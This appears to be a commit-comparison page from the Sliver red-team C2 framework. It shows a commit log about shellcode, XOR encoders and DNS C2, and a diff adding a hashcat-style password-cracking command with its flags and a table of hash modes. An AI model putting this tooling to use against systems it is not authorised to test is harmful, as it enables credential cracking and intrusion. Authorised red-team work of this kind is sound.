Compare commits

..
Author SHA1 Message Date
moloch-- 87b1efaa5f Make sure zig builds get stripped 2026-02-07 12:25:04 -08:00
moloch-- 009e505a54 Update shellcode unit tests 2026-02-07 10:46:01 -08:00
moloch-- c0dd2d5b51 Update docs, wire linux shellcode into client/ code 2026-02-07 10:33:13 -08:00
moloch-- 6dab9dc6c5 Update malasada to v0.0.2 2026-02-07 10:11:15 -08:00
moloch-- 854249fa25 Add linux shellcode for amd64/arm64 to rpc 2026-02-07 09:33:42 -08:00
moloch-- 7db573a03e Tweak file header 2026-02-07 07:32:48 -08:00
moloch-- 0bef5491dc Fix linux --format shared builds 2026-02-07 00:26:33 -08:00
moloch-- 1c50e5a87b Remove unused tests 2026-02-06 17:53:50 -08:00
moloch-- 8dae2d0d52 v1.7.0 2026-02-06 17:50:35 -08:00
Joe 023776f7e3 Merge pull request #2165 from BishopFox/crack/basic
Update gRPC APIs
2026-02-06 18:48:21 -07:00
moloch-- b7566a3b09 Update client grpc to modern apis 2026-02-06 17:31:08 -08:00
moloch-- b889e2eb6f Fix merge 2026-02-06 16:30:53 -08:00
moloch-- 4466ace279 Merge master 2026-02-06 16:29:39 -08:00
Joe 2b65089b27 Merge pull request #2164 from BishopFox/fix/dns-dos
Fix/dns dos
2026-02-06 15:41:17 -07:00
moloch-- 87d5fd53a8 Add e2e dns c2 tests 2026-02-06 13:54:07 -08:00
moloch-- cf79a2d284 Merge patch for oversized msg size checks 2026-02-06 12:16:03 -08:00
moloch-- 6d0276ff67 Add more tests for dns gc 2026-02-06 11:56:55 -08:00
moloch-- 9b001ab88e Remove totp from dns c2, implement pending msg gc 2026-02-06 11:40:00 -08:00
Joe 503218f3f4 Merge pull request #2163 from BishopFox/feature/exec-bg
Feature/exec bg
2026-02-06 10:44:20 -07:00
moloch-- 495dce0987 Improve error and nil checks in mtls comms 2026-02-06 08:22:26 -08:00
moloch-- a7ff35c229 Tweak selection form height 2026-02-06 07:58:17 -08:00
moloch-- 162fc4fb8a Merge branch 'feature/background-execute-flag' into feature/exec-bg 2026-02-06 07:31:10 -08:00
moloch-- 636ea0a9b2 Cleanup execute children output 2026-02-06 07:31:01 -08:00
moloch-- 84ed9bc4e7 Merge branch 'feature/background-execute-flag' into feature/exec-bg 2026-02-06 07:27:57 -08:00
moloch-- b985d8ff9f Fix cmd group help 2026-02-06 07:27:50 -08:00
moloch-- 5a43705e1d Merge branch 'feature/background-execute-flag' into feature/exec-bg 2026-02-06 07:13:34 -08:00
Joe 76af248850 Merge pull request #2162 from BishopFox/darwin/shellcode
Darwin/arm64 Shellcode
2026-02-06 07:59:56 -07:00
moloch-- 8ea7eb4236 Remove old test 2026-02-05 21:30:45 -08:00
Joe 8f3c3ec1e0 Merge branch 'master' into darwin/shellcode 2026-02-05 22:19:10 -07:00
moloch-- 8d4bf9c759 Fixes to xor_dynamic arm64 2026-02-05 21:18:17 -08:00
moloch-- 628757250e Add execute background flag 2026-02-05 20:56:07 -08:00
moloch-- 85094fc695 Port xor encoders to arm64 2026-02-05 20:41:00 -08:00
moloch-- 0a88ad77f7 Port xor encoders to arm64 2026-02-05 19:15:34 -08:00
moloch-- 4d04f08421 Port xor encoders to arm64 2026-02-05 19:14:25 -08:00
moloch-- 4a01971f7d Allow specifying multiple shellcode encoders by name 2026-02-05 18:39:07 -08:00
moloch-- 977c63dc16 Add shellcode support for darwin/arm64 2026-02-05 17:57:08 -08:00
Joe 2d65d7d6a5 Merge pull request #2161 from BishopFox/c2/mux
C2/mux
2026-02-05 18:36:17 -07:00
moloch-- 4f5ca51cfe Implement generate.darwinShellcode() 2026-02-05 17:16:14 -08:00
moloch-- 25d242230b Rengerate pb 2026-01-30 15:10:02 -08:00
moloch-- b4345226c1 Merge branch 'feature/shellcode-encoders' into crack/basic 2026-01-30 15:09:21 -08:00
moloch-- c9f4970e4b Add crack db models 2026-01-29 19:35:39 -08:00
moloch-- e72fa3dbd0 Switch crack.yaml to snake case 2026-01-29 16:30:51 -08:00
moloch-- 2e93ce5684 Merge branch 'master' into crack/basic 2026-01-29 16:16:43 -08:00
moloch-- 828838cddf Re-add new gprc server config fields 2026-01-29 05:52:41 -08:00
moloch-- 16c1dc21fd Merge master 2026-01-29 05:47:18 -08:00
moloch-- 33c656d082 Implement first part of crack cmd 2026-01-24 18:28:07 -08:00
moloch-- 99a44e340f Improve crack benchmark output 2026-01-24 11:50:20 -08:00
moloch-- de5fa3458b Allow keep alives 2026-01-23 17:05:53 -08:00
133 changed files with 15520 additions and 7498 deletions

No files matched your search

-1
View File
@@ -42,4 +42,3 @@ See the [wiki](https://sliver.sh/docs?name=Compile+from+Source).
### License - GPLv3
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
+4
View File
@@ -24,6 +24,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
}
flags.Bind("", true, crackCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
bindCrackFlags(f)
})
crackStationsCmd := &cobra.Command{
@@ -34,6 +35,9 @@ func Commands(con *console.SliverClient) []*cobra.Command {
CrackStationsCmd(cmd, con, args)
},
}
flags.Bind("", false, crackStationsCmd, func(f *pflag.FlagSet) {
f.Bool("show-benchmarks", false, "show benchmark rates for crackstations")
})
crackCmd.AddCommand(crackStationsCmd)
wordlistsCmd := &cobra.Command{
+326
View File
@@ -0,0 +1,326 @@
package crack
import (
"fmt"
"strconv"
"strings"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
func shouldRunCrack(cmd *cobra.Command, args []string) bool {
if len(args) > 0 {
return true
}
hasFlag := false
cmd.Flags().VisitAll(func(flag *pflag.Flag) {
if flag.Changed && flag.Name != "timeout" {
hasFlag = true
}
})
return hasFlag
}
func buildCrackCommand(cmd *cobra.Command, args []string) (*clientpb.CrackCommand, error) {
flags := cmd.Flags()
req := &clientpb.CrackCommand{}
if flags.Changed("attack-mode") {
raw, _ := flags.GetString("attack-mode")
attackMode, err := parseCrackAttackMode(raw)
if err != nil {
return nil, err
}
req.AttackMode = attackMode
}
if flags.Changed("hash-type") {
raw, _ := flags.GetString("hash-type")
hashType, err := parseHashType(raw)
if err != nil {
return nil, err
}
req.HashType = hashType
}
hashes, _ := flags.GetStringSlice("hash")
if len(args) > 0 {
hashes = append(hashes, args...)
}
req.Hashes = hashes
req.Quiet, _ = flags.GetBool("quiet")
req.HexCharset, _ = flags.GetBool("hex-charset")
req.HexSalt, _ = flags.GetBool("hex-salt")
req.HexWordlist, _ = flags.GetBool("hex-wordlist")
req.Force, _ = flags.GetBool("force")
req.DeprecatedCheckDisable, _ = flags.GetBool("deprecated-check-disable")
req.Status, _ = flags.GetBool("status")
req.StatusJSON, _ = flags.GetBool("status-json")
req.StatusTimer, _ = flags.GetUint32("status-timer")
req.StdinTimeoutAbort, _ = flags.GetUint32("stdin-timeout-abort")
req.MachineReadable, _ = flags.GetBool("machine-readable")
req.KeepGuessing, _ = flags.GetBool("keep-guessing")
req.SelfTestDisable, _ = flags.GetBool("self-test-disable")
req.Loopback, _ = flags.GetBool("loopback")
if raw, _ := flags.GetString("markov-hcstat2"); raw != "" {
req.MarkovHcstat2 = []byte(raw)
}
req.MarkovDisable, _ = flags.GetBool("markov-disable")
req.MarkovClassic, _ = flags.GetBool("markov-classic")
req.MarkovInverse, _ = flags.GetBool("markov-inverse")
req.MarkovThreshold, _ = flags.GetUint32("markov-threshold")
req.Runtime, _ = flags.GetUint32("runtime")
req.Session, _ = flags.GetString("session")
req.Restore, _ = flags.GetBool("restore")
req.RestoreDisable, _ = flags.GetBool("restore-disable")
if raw, _ := flags.GetString("restore-file"); raw != "" {
req.RestoreFile = []byte(raw)
}
if formats, _ := flags.GetStringSlice("outfile-format"); len(formats) > 0 {
for _, raw := range formats {
format, err := parseCrackOutfileFormat(raw)
if err != nil {
return nil, err
}
req.OutfileFormat = append(req.OutfileFormat, format)
}
}
req.OutfileAutohexDisable, _ = flags.GetBool("outfile-autohex-disable")
req.OutfileCheckTimer, _ = flags.GetUint32("outfile-check-timer")
req.WordlistAutohexDisable, _ = flags.GetBool("wordlist-autohex-disable")
req.Separator, _ = flags.GetString("separator")
req.Stdout, _ = flags.GetBool("stdout")
req.Show, _ = flags.GetBool("show")
req.Left, _ = flags.GetBool("left")
req.Username, _ = flags.GetBool("username")
req.Remove, _ = flags.GetBool("remove")
req.RemoveTimer, _ = flags.GetUint32("remove-timer")
req.PotfileDisable, _ = flags.GetBool("potfile-disable")
if raw, _ := flags.GetString("potfile"); raw != "" {
req.Potfile = []byte(raw)
}
if flags.Changed("encoding-from") {
raw, _ := flags.GetString("encoding-from")
enc, err := parseCrackEncoding(raw)
if err != nil {
return nil, err
}
req.EncodingFrom = enc
}
if flags.Changed("encoding-to") {
raw, _ := flags.GetString("encoding-to")
enc, err := parseCrackEncoding(raw)
if err != nil {
return nil, err
}
req.EncodingTo = enc
}
req.DebugMode, _ = flags.GetUint32("debug-mode")
req.LogfileDisable, _ = flags.GetBool("logfile-disable")
req.HccapxMessagePair, _ = flags.GetUint32("hccapx-message-pair")
req.NonceErrorCorrections, _ = flags.GetUint32("nonce-error-corrections")
if raw, _ := flags.GetString("keyboard-layout-mapping"); raw != "" {
req.KeyboardLayoutMapping = []byte(raw)
}
req.Benchmark, _ = flags.GetBool("benchmark")
req.BenchmarkAll, _ = flags.GetBool("benchmark-all")
req.SpeedOnly, _ = flags.GetBool("speed-only")
req.ProgressOnly, _ = flags.GetBool("progress-only")
req.SegmentSize, _ = flags.GetUint32("segment-size")
req.BitmapMin, _ = flags.GetUint32("bitmap-min")
req.BitmapMax, _ = flags.GetUint32("bitmap-max")
req.CPUAffinity = uintSliceToUint32(flags, "cpu-affinity")
req.HookThreads, _ = flags.GetUint32("hook-threads")
req.HashInfo, _ = flags.GetBool("hash-info")
req.BackendIgnoreCUDA, _ = flags.GetBool("backend-ignore-cuda")
req.BackendIgnoreHip, _ = flags.GetBool("backend-ignore-hip")
req.BackendIgnoreMetal, _ = flags.GetBool("backend-ignore-metal")
req.BackendIgnoreOpenCL, _ = flags.GetBool("backend-ignore-opencl")
req.BackendInfo, _ = flags.GetBool("backend-info")
req.BackendDevices = uintSliceToUint32(flags, "backend-devices")
req.OpenCLDeviceTypes = uintSliceToUint32(flags, "opencl-device-types")
req.OptimizedKernelEnable, _ = flags.GetBool("optimized-kernel-enable")
req.MultiplyAccelDisabled, _ = flags.GetBool("multiply-accel-disabled")
if flags.Changed("workload-profile") {
raw, _ := flags.GetString("workload-profile")
profile, err := parseCrackWorkloadProfile(raw)
if err != nil {
return nil, err
}
req.WorkloadProfile = profile
}
req.KernelAccel, _ = flags.GetUint32("kernel-accel")
req.KernelLoops, _ = flags.GetUint32("kernel-loops")
req.KernelThreads, _ = flags.GetUint32("kernel-threads")
req.BackendVectorWidth, _ = flags.GetUint32("backend-vector-width")
req.SpinDamp, _ = flags.GetUint32("spin-damp")
req.HwmonDisable, _ = flags.GetBool("hwmon-disable")
req.HwmonTempAbort, _ = flags.GetUint32("hwmon-temp-abort")
req.ScryptTMTO, _ = flags.GetUint32("scrypt-tmto")
req.Skip, _ = flags.GetUint64("skip")
req.Limit, _ = flags.GetUint64("limit")
req.Keyspace, _ = flags.GetBool("keyspace")
if raw, _ := flags.GetString("rules-file"); raw != "" {
req.RulesFile = []byte(raw)
}
req.GenerateRules, _ = flags.GetUint32("generate-rules")
req.GenerateRulesFunMin, _ = flags.GetUint32("generate-rules-fun-min")
req.GenerateRulesFunMax, _ = flags.GetUint32("generate-rules-fun-max")
req.GenerateRulesFuncSel, _ = flags.GetString("generate-rules-func-sel")
req.GenerateRulesSeed, _ = flags.GetInt32("generate-rules-seed")
req.CustomCharset1, _ = flags.GetString("custom-charset1")
req.CustomCharset2, _ = flags.GetString("custom-charset2")
req.CustomCharset3, _ = flags.GetString("custom-charset3")
req.CustomCharset4, _ = flags.GetString("custom-charset4")
req.Identify, _ = flags.GetString("identify")
req.Increment, _ = flags.GetBool("increment")
req.IncrementMin, _ = flags.GetUint32("increment-min")
req.IncrementMax, _ = flags.GetUint32("increment-max")
req.SlowCandidates, _ = flags.GetBool("slow-candidates")
req.BrainServer, _ = flags.GetBool("brain-server")
req.BrainServerTimer, _ = flags.GetUint32("brain-server-timer")
req.BrainClient, _ = flags.GetBool("brain-client")
req.BrainClientFeatures, _ = flags.GetString("brain-client-features")
req.BrainHost, _ = flags.GetString("brain-host")
req.BrainPort, _ = flags.GetUint32("brain-port")
req.BrainPassword, _ = flags.GetString("brain-password")
req.BrainSession, _ = flags.GetString("brain-session")
req.BrainSessionWhitelist, _ = flags.GetString("brain-session-whitelist")
return req, nil
}
func uintSliceToUint32(flags *pflag.FlagSet, name string) []uint32 {
values, _ := flags.GetUintSlice(name)
if len(values) == 0 {
return nil
}
out := make([]uint32, len(values))
for i, value := range values {
out[i] = uint32(value)
}
return out
}
func parseCrackAttackMode(raw string) (clientpb.CrackAttackMode, error) {
if raw == "" {
return clientpb.CrackAttackMode_STRAIGHT, nil
}
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
return clientpb.CrackAttackMode(numeric), nil
}
normalized := strings.ToLower(strings.TrimSpace(raw))
normalized = strings.NewReplacer("-", "_", " ", "_").Replace(normalized)
switch normalized {
case "straight":
return clientpb.CrackAttackMode_STRAIGHT, nil
case "combination":
return clientpb.CrackAttackMode_COMBINATION, nil
case "bruteforce", "brute_force", "brute-force":
return clientpb.CrackAttackMode_BRUTEFORCE, nil
case "hybrid_wordlist_mask":
return clientpb.CrackAttackMode_HYBRID_WORDLIST_MASK, nil
case "hybrid_mask_wordlist":
return clientpb.CrackAttackMode_HYBRID_MASK_WORDLIST, nil
case "association":
return clientpb.CrackAttackMode_ASSOCIATION, nil
case "no_attack", "none":
return clientpb.CrackAttackMode_NO_ATTACK, nil
default:
return clientpb.CrackAttackMode_STRAIGHT, fmt.Errorf("unknown attack mode: %s", raw)
}
}
func parseHashType(raw string) (clientpb.HashType, error) {
if raw == "" {
return clientpb.HashType_MD5, nil
}
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
return clientpb.HashType(numeric), nil
}
key := normalizeEnumKey(raw)
if value, ok := clientpb.HashType_value[key]; ok {
return clientpb.HashType(value), nil
}
return clientpb.HashType_MD5, fmt.Errorf("unknown hash type: %s", raw)
}
func parseCrackEncoding(raw string) (clientpb.CrackEncoding, error) {
if raw == "" {
return clientpb.CrackEncoding_INVALID_ENCODING, nil
}
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
return clientpb.CrackEncoding(numeric), nil
}
key := normalizeEnumKey(raw)
if value, ok := clientpb.CrackEncoding_value[key]; ok {
return clientpb.CrackEncoding(value), nil
}
return clientpb.CrackEncoding_INVALID_ENCODING, fmt.Errorf("unknown encoding: %s", raw)
}
func parseCrackOutfileFormat(raw string) (clientpb.CrackOutfileFormat, error) {
if raw == "" {
return clientpb.CrackOutfileFormat_INVALID_FORMAT, nil
}
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
return clientpb.CrackOutfileFormat(numeric), nil
}
key := normalizeEnumKey(raw)
if value, ok := clientpb.CrackOutfileFormat_value[key]; ok {
return clientpb.CrackOutfileFormat(value), nil
}
return clientpb.CrackOutfileFormat_INVALID_FORMAT, fmt.Errorf("unknown outfile format: %s", raw)
}
func parseCrackWorkloadProfile(raw string) (clientpb.CrackWorkloadProfile, error) {
if raw == "" {
return clientpb.CrackWorkloadProfile_INVALID_WORKLOAD_PROFILE, nil
}
if numeric, err := strconv.ParseInt(raw, 10, 32); err == nil {
return clientpb.CrackWorkloadProfile(numeric), nil
}
key := normalizeEnumKey(raw)
if value, ok := clientpb.CrackWorkloadProfile_value[key]; ok {
return clientpb.CrackWorkloadProfile(value), nil
}
return clientpb.CrackWorkloadProfile_INVALID_WORKLOAD_PROFILE, fmt.Errorf("unknown workload profile: %s", raw)
}
func normalizeEnumKey(value string) string {
if value == "" {
return ""
}
var builder strings.Builder
builder.Grow(len(value))
underscore := false
for i := 0; i < len(value); i++ {
ch := value[i]
if (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z') || (ch >= '0' && ch <= '9') {
if ch >= 'a' && ch <= 'z' {
ch -= 'a' - 'A'
}
builder.WriteByte(ch)
underscore = false
continue
}
if !underscore {
builder.WriteByte('_')
underscore = true
}
}
return strings.Trim(builder.String(), "_")
}
+108
View File
@@ -0,0 +1,108 @@
package crack
import "github.com/spf13/pflag"
func bindCrackFlags(f *pflag.FlagSet) {
f.String("attack-mode", "", "crack attack mode (straight, combination, bruteforce, hybrid-wordlist-mask, hybrid-mask-wordlist, association, no-attack, or numeric)")
f.String("hash-type", "", "hashcat hash type (number or enum name)")
f.StringSlice("hash", nil, "hashes to crack (repeatable)")
f.Bool("quiet", false, "quiet mode")
f.Bool("hex-charset", false, "treat charset as hex")
f.Bool("hex-salt", false, "treat salt as hex")
f.Bool("hex-wordlist", false, "treat wordlist as hex")
f.Bool("force", false, "ignore warnings")
f.Bool("deprecated-check-disable", false, "disable deprecated check")
f.Bool("status", false, "enable status")
f.Bool("status-json", false, "emit status in JSON")
f.Uint32("status-timer", 0, "status timer interval (seconds)")
f.Uint32("stdin-timeout-abort", 0, "abort after stdin timeout (seconds)")
f.Bool("machine-readable", false, "machine readable output")
f.Bool("keep-guessing", false, "keep guessing")
f.Bool("self-test-disable", false, "disable self-test")
f.Bool("loopback", false, "use loopback mode")
f.String("markov-hcstat2", "", "markov hcstat2 filename or identifier")
f.Bool("markov-disable", false, "disable markov mode")
f.Bool("markov-classic", false, "use classic markov")
f.Bool("markov-inverse", false, "use inverse markov")
f.Uint32("markov-threshold", 0, "markov threshold")
f.Uint32("runtime", 0, "runtime in seconds")
f.String("session", "", "session name")
f.Bool("restore", false, "restore session")
f.Bool("restore-disable", false, "disable restore")
f.String("restore-file", "", "restore file path or identifier")
f.StringSlice("outfile-format", nil, "outfile formats (hash-salt, plain, hex-plain, crack-pos, timestamp-absolute, timestamp-relative, or numeric)")
f.Bool("outfile-autohex-disable", false, "disable outfile autohex")
f.Uint32("outfile-check-timer", 0, "outfile check timer interval (seconds)")
f.Bool("wordlist-autohex-disable", false, "disable wordlist autohex")
f.String("separator", "", "separator character")
f.Bool("stdout", false, "stdout output")
f.Bool("show", false, "show cracked hashes")
f.Bool("left", false, "show uncracked hashes")
f.Bool("username", false, "enable username handling")
f.Bool("remove", false, "remove cracked hashes")
f.Uint32("remove-timer", 0, "remove timer interval (seconds)")
f.Bool("potfile-disable", false, "disable potfile")
f.String("potfile", "", "potfile path or identifier")
f.String("encoding-from", "", "input encoding (iso-8859-15, utf-32le, or numeric)")
f.String("encoding-to", "", "output encoding (iso-8859-15, utf-32le, or numeric)")
f.Uint32("debug-mode", 0, "debug mode mask")
f.Bool("logfile-disable", false, "disable logfile")
f.Uint32("hccapx-message-pair", 0, "hccapx message pair")
f.Uint32("nonce-error-corrections", 0, "nonce error corrections")
f.String("keyboard-layout-mapping", "", "keyboard layout mapping file or identifier")
f.Bool("benchmark", false, "run benchmark")
f.Bool("benchmark-all", false, "run full benchmark")
f.Bool("speed-only", false, "show speed only")
f.Bool("progress-only", false, "show progress only")
f.Uint32("segment-size", 0, "segment size")
f.Uint32("bitmap-min", 0, "bitmap min")
f.Uint32("bitmap-max", 0, "bitmap max")
f.UintSlice("cpu-affinity", nil, "CPU affinity list")
f.Uint32("hook-threads", 0, "hook threads")
f.Bool("hash-info", false, "show hash information")
f.Bool("backend-ignore-cuda", false, "ignore CUDA backend")
f.Bool("backend-ignore-hip", false, "ignore HIP backend")
f.Bool("backend-ignore-metal", false, "ignore Metal backend")
f.Bool("backend-ignore-opencl", false, "ignore OpenCL backend")
f.Bool("backend-info", false, "show backend info")
f.UintSlice("backend-devices", nil, "backend device IDs")
f.UintSlice("opencl-device-types", nil, "OpenCL device types")
f.Bool("optimized-kernel-enable", false, "enable optimized kernels")
f.Bool("multiply-accel-disabled", false, "disable multiply accel")
f.String("workload-profile", "", "workload profile (low, default, high, nightmare, or numeric)")
f.Uint32("kernel-accel", 0, "kernel acceleration")
f.Uint32("kernel-loops", 0, "kernel loops")
f.Uint32("kernel-threads", 0, "kernel threads")
f.Uint32("backend-vector-width", 0, "backend vector width")
f.Uint32("spin-damp", 0, "spin damp")
f.Bool("hwmon-disable", false, "disable hardware monitoring")
f.Uint32("hwmon-temp-abort", 0, "hardware monitor temperature abort")
f.Uint32("scrypt-tmto", 0, "scrypt tmto")
f.Uint64("skip", 0, "skip count")
f.Uint64("limit", 0, "limit count")
f.Bool("keyspace", false, "show keyspace")
f.String("rules-file", "", "rules file path or identifier")
f.Uint32("generate-rules", 0, "generate rules")
f.Uint32("generate-rules-fun-min", 0, "generate rules function min")
f.Uint32("generate-rules-fun-max", 0, "generate rules function max")
f.String("generate-rules-func-sel", "", "generate rules function selection")
f.Int32("generate-rules-seed", 0, "generate rules seed")
f.String("custom-charset1", "", "custom charset 1")
f.String("custom-charset2", "", "custom charset 2")
f.String("custom-charset3", "", "custom charset 3")
f.String("custom-charset4", "", "custom charset 4")
f.String("identify", "", "identify hash")
f.Bool("increment", false, "incremental mode")
f.Uint32("increment-min", 0, "increment min")
f.Uint32("increment-max", 0, "increment max")
f.Bool("slow-candidates", false, "slow candidates")
f.Bool("brain-server", false, "brain server mode")
f.Uint32("brain-server-timer", 0, "brain server timer")
f.Bool("brain-client", false, "brain client mode")
f.String("brain-client-features", "", "brain client features")
f.String("brain-host", "", "brain host")
f.Uint32("brain-port", 0, "brain port")
f.String("brain-password", "", "brain password")
f.String("brain-session", "", "brain session")
f.String("brain-session-whitelist", "", "brain session whitelist")
}
+52 -9
View File
@@ -22,6 +22,7 @@ import (
"context"
"fmt"
"sort"
"time"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
@@ -34,6 +35,37 @@ import (
// CrackCmd - GPU password cracking interface
func CrackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
if shouldRunCrack(cmd, args) {
crackCmd, err := buildCrackCommand(cmd, args)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
timeoutSeconds, _ := cmd.Flags().GetInt64("timeout")
ctx := context.Background()
if timeoutSeconds > 0 {
var cancel context.CancelFunc
ctx, cancel = context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
defer cancel()
}
resp, err := con.Rpc.Crack(ctx, crackCmd)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if resp == nil || resp.Job == nil {
con.PrintInfof("Crack request submitted\n")
return
}
con.PrintInfof("Crack job %s created (status: %s)\n", resp.Job.ID, resp.Job.Status.String())
if resp.Job.Err != "" {
con.PrintErrorf("Crack job error: %s\n", resp.Job.Err)
}
return
}
if !AreCrackersOnline(con) {
PrintNoCrackstations(con)
} else {
@@ -64,10 +96,11 @@ func CrackStationsCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
con.PrintErrorf("%s\n", err)
return
}
showBenchmarks, _ := cmd.Flags().GetBool("show-benchmarks")
if len(crackers.Crackstations) == 0 {
PrintNoCrackstations(con)
} else {
PrintCrackers(crackers.Crackstations, con)
PrintCrackers(crackers.Crackstations, con, showBenchmarks)
}
}
@@ -83,12 +116,12 @@ func AreCrackersOnline(con *console.SliverClient) bool {
return len(crackers.Crackstations) > 0
}
func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient) {
func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient, showBenchmarks bool) {
sort.Slice(crackers, func(i, j int) bool {
return crackers[i].Name < crackers[j].Name
})
for index, cracker := range crackers {
printCracker(cracker, index, con)
printCracker(cracker, index, con, showBenchmarks)
if index < len(crackers)-1 {
con.Println()
con.Println()
@@ -96,7 +129,7 @@ func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient)
}
}
func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverClient) {
func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverClient, showBenchmarks bool) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + console.Orange + fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName) + console.Normal + "\n")
@@ -131,8 +164,10 @@ func printCracker(cracker *clientpb.Crackstation, index int, con *console.Sliver
}
}
con.Printf("%s\n", tw.Render())
con.Println()
printBenchmarks(cracker, con)
if showBenchmarks {
con.Println()
printBenchmarks(cracker, con)
}
}
func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverClient) {
@@ -140,9 +175,17 @@ func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverClient)
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Benchmarks" + console.Normal)
tw.SortBy([]table.SortBy{{Name: "Hash Type"}})
tw.AppendHeader(table.Row{"Hash Type", "Rate (H/s)"})
for hashType, speed := range cracker.Benchmarks {
tw.AppendRow(table.Row{clientpb.HashType(hashType), fmt.Sprintf("%d", speed)})
tw.AppendHeader(table.Row{"Hash Type", "Rate"})
if len(cracker.Benchmarks) == 0 {
tw.AppendRow(table.Row{"No benchmarks reported", "-"})
} else {
for hashType, speed := range cracker.Benchmarks {
name, ok := hashcatHashTypeName(hashType)
if !ok {
name = clientpb.HashType(hashType).String()
}
tw.AppendRow(table.Row{name, humanizeHashRate(speed)})
}
}
con.Printf("%s\n", tw.Render())
}
+419
View File
@@ -0,0 +1,419 @@
package crack
import "fmt"
// Hashcat mode names sourced from client/credentials/EXAMPLES.md.
var hashcatHashTypes = map[int32]string{
0: "MD5",
10: "md5($pass.$salt)",
11: "Joomla < 2.5.18",
12: "PostgreSQL",
20: "md5($salt.$pass)",
21: "osCommerce, xt:Commerce",
22: "Juniper NetScreen/SSG (ScreenOS)",
23: "Skype",
24: "SolarWinds Serv-U",
30: "md5(utf16le($pass).$salt)",
40: "md5($salt.utf16le($pass))",
50: "HMAC-MD5 (key = $pass)",
60: "HMAC-MD5 (key = $salt)",
70: "md5(utf16le($pass))",
100: "SHA1",
101: "nsldap, SHA-1(Base64), Netscape LDAP SHA",
110: "sha1($pass.$salt)",
111: "nsldaps, SSHA-1(Base64), Netscape LDAP SSHA",
112: "Oracle S: Type (Oracle 11+)",
120: "sha1($salt.$pass)",
121: "SMF (Simple Machines Forum) > v1.1",
122: "macOS v10.4, macOS v10.5, macOS v10.6",
123: "EPi",
124: "Django (SHA-1)",
125: "ArubaOS",
130: "sha1(utf16le($pass).$salt)",
131: "MSSQL (2000)",
132: "MSSQL (2005)",
133: "PeopleSoft",
140: "sha1($salt.utf16le($pass))",
141: "Episerver 6.x < .NET 4",
150: "HMAC-SHA1 (key = $pass)",
160: "HMAC-SHA1 (key = $salt)",
170: "sha1(utf16le($pass))",
190: "sha1(LinkedIn)",
200: "MySQL323",
300: "MySQL4.1/MySQL5",
400: "phpass, phpBB3 (MD5)",
500: "md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)",
501: "Juniper IVE",
600: "BLAKE2b-512",
900: "MD4",
1000: "NTLM",
1100: "Domain Cached Credentials (DCC), MS Cache",
1300: "SHA2-224",
1400: "SHA2-256",
1410: "sha256($pass.$salt)",
1411: "SSHA-256(Base64), LDAP {SSHA256}",
1420: "sha256($salt.$pass)",
1421: "hMailServer",
1430: "sha256(utf16le($pass).$salt)",
1431: "base64(sha256(unicode($pass)))",
1440: "sha256($salt.utf16le($pass))",
1441: "Episerver 6.x >= .NET 4",
1450: "HMAC-SHA256 (key = $pass)",
1460: "HMAC-SHA256 (key = $salt)",
1470: "sha256(utf16le($pass))",
1500: "descrypt, DES (Unix), Traditional DES",
1600: "Apache $apr1$ MD5, md5apr1, MD5 (APR)",
1700: "SHA2-512",
1710: "sha512($pass.$salt)",
1711: "SSHA-512(Base64), LDAP {SSHA512}",
1720: "sha512($salt.$pass)",
1722: "macOS v10.7",
1730: "sha512(utf16le($pass).$salt)",
1731: "MSSQL (2012, 2014)",
1740: "sha512($salt.utf16le($pass))",
1750: "HMAC-SHA512 (key = $pass)",
1760: "HMAC-SHA512 (key = $salt)",
1770: "sha512(utf16le($pass))",
1800: "sha512crypt $6$, SHA512 (Unix)",
2000: "STDOUT",
2100: "Domain Cached Credentials 2 (DCC2), MS Cache 2",
2400: "Cisco-PIX MD5",
2410: "Cisco-ASA MD5",
2500: "WPA-EAPOL-PBKDF2",
2501: "WPA-EAPOL-PMK",
2600: "md5(md5($pass))",
2611: "vBulletin < v3.8.5",
2612: "PHPS",
2711: "vBulletin >= v3.8.5",
2811: "MyBB 1.2+, IPB2+ (Invision Power Board)",
3000: "LM",
3100: "Oracle H: Type (Oracle 7+)",
3200: "bcrypt $2\\*$, Blowfish (Unix)",
3300: "MD5(Sun)",
3500: "md5(md5(md5($pass)))",
3610: "md5(md5($salt).$pass )",
3710: "md5($salt.md5($pass))",
3711: "MediaWiki B type",
3720: "md5($pass.md5($salt))",
3721: "WebEdition CMS",
3800: "md5($salt.$pass.$salt)",
3910: "md5(md5($pass).md5($salt))",
4010: "md5($salt.md5($salt.$pass))",
4110: "md5($salt.md5($pass.$salt))",
4210: "md5($username.0.$pass)",
4300: "md5(strtoupper(md5($pass)))",
4400: "md5(sha1($pass))",
4500: "sha1(sha1($pass))",
4510: "sha1(sha1($pass).$salt)",
4520: "sha1($salt.sha1($pass))",
4521: "Redmine",
4522: "PunBB",
4600: "sha1(sha1(sha1($pass)))",
4700: "sha1(md5($pass))",
4710: "sha1(md5($pass).$salt)",
4711: "Huawei sha1(md5($pass).$salt)",
